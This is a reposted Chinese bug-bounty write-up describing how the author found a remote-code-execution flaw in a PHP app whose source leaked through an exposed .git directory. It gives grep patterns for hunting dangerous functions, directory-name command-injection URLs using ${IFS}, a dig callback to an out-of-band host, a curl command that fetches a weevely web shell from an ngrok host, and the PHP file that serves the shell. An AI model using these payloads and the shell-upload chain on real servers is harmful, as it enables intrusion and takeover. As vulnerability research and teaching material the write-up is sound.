泄露PHP源代码中的硬核RCE,价值3000美元!

admin 2023年7月31日13:23:32评论25 views字数 4559阅读15分11秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了


前言

这篇文章可以被认为是我之前 10,000 美元研究结果的延续。此前,我可以通过 RCE 漏洞所在的公开 .git 目录访问源代码。研究完该漏洞后,我继续检查代码以寻找其他漏洞。幸运的是,我通过目录创建功能找到了另一个更复杂的 RCE,你一定会喜欢的=)

注意:建议阅读我之前的文章,以了解我如何访问该 Web 应用程序的源代码。从.Git泄露到RCE,赏金10,000美元!

Chapter 0

首先,要查找源代码中的漏洞,您需要识别潜在的入口点。像 SonarQube 这样的工具可以用于此目的,但我更喜欢使用老式的 grep。


以下是 PHP 的几个示例:

跨站脚本:
grep -Ri "$_" . | grep "echo"grep -Ri "$_GET" . | grep "echo"grep -Ri "$_POST" . | grep "echo"grep -Ri "$_REQUEST" . | grep "echo"

命令执行:

grep -Ri "shell_exec(" .grep -Ri "system(" .grep -Ri "exec(" .


代码执行:

grep -Ri "eval(" .grep -Ri "assert(" .grep -Ri "preg_replace" . | grep "/e"


SQL注入:

grep -Ri "$sql" .grep -Ri "$sql" . | grep "$_"


RFI/LFI

grep -Ri "file_include" .grep -Ri "include(" .grep -Ri "require(" .grep -Ri "include_once(" .grep -Ri "require_once(" .grep -Ri "require_once(" . | grep "$_"


Chapter 1

扫完代码后,我重点关注了这一部分,这里使用了@exec()函数。通过这个函数,我将尝试获得RCE。
泄露PHP源代码中的硬核RCE,价值3000美元!

此代码的目的是确定文件的大小。首先,在第 40 行,调用scandir() ,返回一个目录内容数组。 


接下来,通过preg_replace()过滤文件和目录的名称,并将其发送到@exec()调用所在的filesize64()函数。


非常酷,但是此代码不接受任何用户输入进行注入,除了/home/html/ftp-upload/uploads/OELxI386/目录的内容,我无法控制该目录。因此,我将这段代码搁置了几周......


Chapter 2

一段时间后,我决定仔细检查我之前的 RCE 是如何修复这个资源的。我尝试使用不同的有效负载,并意外发现,如果我在 adduser 参数中指定由空格分隔的两个值 test%20somename,例如在此 URL 中:
http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2]
%20 空格后面的值将用于在与 PHP 文件相同的位置创建一个同名的目录。
泄露PHP源代码中的硬核RCE,价值3000美元!


负责此操作的代码:
泄露PHP源代码中的硬核RCE,价值3000美元!
泄露PHP源代码中的硬核RCE,价值3000美元!


因此,通过空格传递值,创建目录的代码将如下所示:
mkdir /home/html/ftp-upload/uploads/test somename

Chapter 3

创建自己的目录的能力使我产生了使用它向@exec()注入有效负载并使用此链来实现 RCE 的想法。


第一个想法是尝试创建一个名称中包含有效负载的目录,这将向我的服务器发送请求。如果请求到达,则代码已成功执行。


为此,我使用了dig命令:

dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

为了让scandir()读取具有此类名称的目录,我们在uploads/OELxI386/中创建它
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

但是没有任何效果,因为在有效负载中使用了空格,当它进入 mkdir 命令时,空格分隔有效负载并创建三个目录:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com


因此,我们的有效负载不应包含空格,可以用${IFS}替换它们。
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]
泄露PHP源代码中的硬核RCE,价值3000美元!


伟大的!名称中包含有效负载的目录已创建,现在需要使用读取该目录内容的易受攻击函数运行脚本。为此,我们需要访问

http://example.com/ftp-upload/testSize.php


我们看到脚本已经生效:

泄露PHP源代码中的硬核RCE,价值3000美元!


并且请求已成功到达,这就是远程代码执行!
泄露PHP源代码中的硬核RCE,价值3000美元!


让我们重复一下这里发生的事情:

1. 我们发送一个请求,在我们需要的位置创建一个包含有效负载的目录:

http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

2. 有效负载被发送到创建目录的脚本。

泄露PHP源代码中的硬核RCE,价值3000美元!


将在服务器上执行的命令是:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

3. 我们启动目录读取脚本:
http://example.com/ftp-upload/testSize.php

该脚本读取目录/home/html/ftp-upload/uploads/OELxI386/(我们将有效负载上传到其中)的内容,并将其传递给filesize64()函数,在该函数中调用我们的有效负载的代码。
泄露PHP源代码中的硬核RCE,价值3000美元!


它被传递到filesize64()函数,在该函数中使用我们的有效负载调用代码。
泄露PHP源代码中的硬核RCE,价值3000美元!


Chapter 4

剩下的就是上传一个 shell,以便在服务器上不受阻碍地执行代码。


让我们继续执行复制步骤:

1. 使用weevely创建 shell并保存为 txt
weevely generate 123pass shell.txt

2. 创建一个index.php文件,该文件将在我们的服务器上用于上传shell。
<?php$attachment_location = "shell.txt";if (file_exists($attachment_location)) {header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");header("Cache-Control: public");header("Content-Type: plane/text");header("Content-Transfer-Encoding: Binary");header("Content-Length:".filesize($attachment_location));header("Content-Disposition: attachment; filename=shell.php");readfile($attachment_location);die();} else {die("Error: File not found.");}

当向此脚本发出请求时,易受攻击的服务器将获取我们的shell.txt并将其保存为shell.php。这样,shell.php就会被上传到存在漏洞的服务器上。

3. 设置本地 PHP 服务器并使用 ngrok 建立隧道连接
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https

4. 最后一步是创建最终的有效负载,将我们的 shell 上传到服务器。

由于服务器仍然具有过滤功能,因此我进行了一些头脑风暴,结果,我得到了以下有效负载:
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`

有效负载将在易受攻击的服务器上执行以下命令:
cd error #转到可写目录curl rce.eu.ngrok.io -o shell.php #将shell下载到易受攻击的服务器的命令

由于服务器以 preg_match('/[/:”*?<>|]+/', $f) 的形式使用过滤,因此无法在代码中使用斜杠。
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
泄露PHP源代码中的硬核RCE,价值3000美元!


5. 我们调用脚本执行代码
http://example.com/ftp-upload/testSize.php

之后,我们的服务器收到一个请求
泄露PHP源代码中的硬核RCE,价值3000美元!


我们检查 error/ 目录下是否存在 shell
泄露PHP源代码中的硬核RCE,价值3000美元!


它就在那里!

6. 剩下的就是连接到它并执行命令
weevely http://example.com/ftp-upload/errors/shell.php 123pass
泄露PHP源代码中的硬核RCE,价值3000美元!


现在我们可以去附近的酒吧庆祝一下。


经过几天的修正,团队奖励了我一笔赏金(按照传统,激励性的屏幕截图=))

泄露PHP源代码中的硬核RCE,价值3000美元!


这次他们给我的工资比我预想的要少很多,公司是这样解释的:

泄露PHP源代码中的硬核RCE,价值3000美元!

这是在自托管平台上寻找错误的缺点。


我希望我能够清楚地告诉您一个有关漏洞利用的有趣案例。祝大家狩猎愉快,并获得大量赏金!


关注我们

泄露PHP源代码中的硬核RCE,价值3000美元! 还在等什么?赶紧点击下方名片开始学习吧!泄露PHP源代码中的硬核RCE,价值3000美元!



信 安 考 证



需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...

泄露PHP源代码中的硬核RCE,价值3000美元!

推 荐 阅 读




泄露PHP源代码中的硬核RCE,价值3000美元!
泄露PHP源代码中的硬核RCE,价值3000美元!
泄露PHP源代码中的硬核RCE,价值3000美元!

泄露PHP源代码中的硬核RCE,价值3000美元!

原文始发于微信公众号(潇湘信安):泄露PHP源代码中的硬核RCE,价值3000美元!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月31日13:23:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泄露PHP源代码中的硬核RCE,价值3000美元!https://cn-sec.com/archives/1921434.html

发表评论

匿名网友 填写信息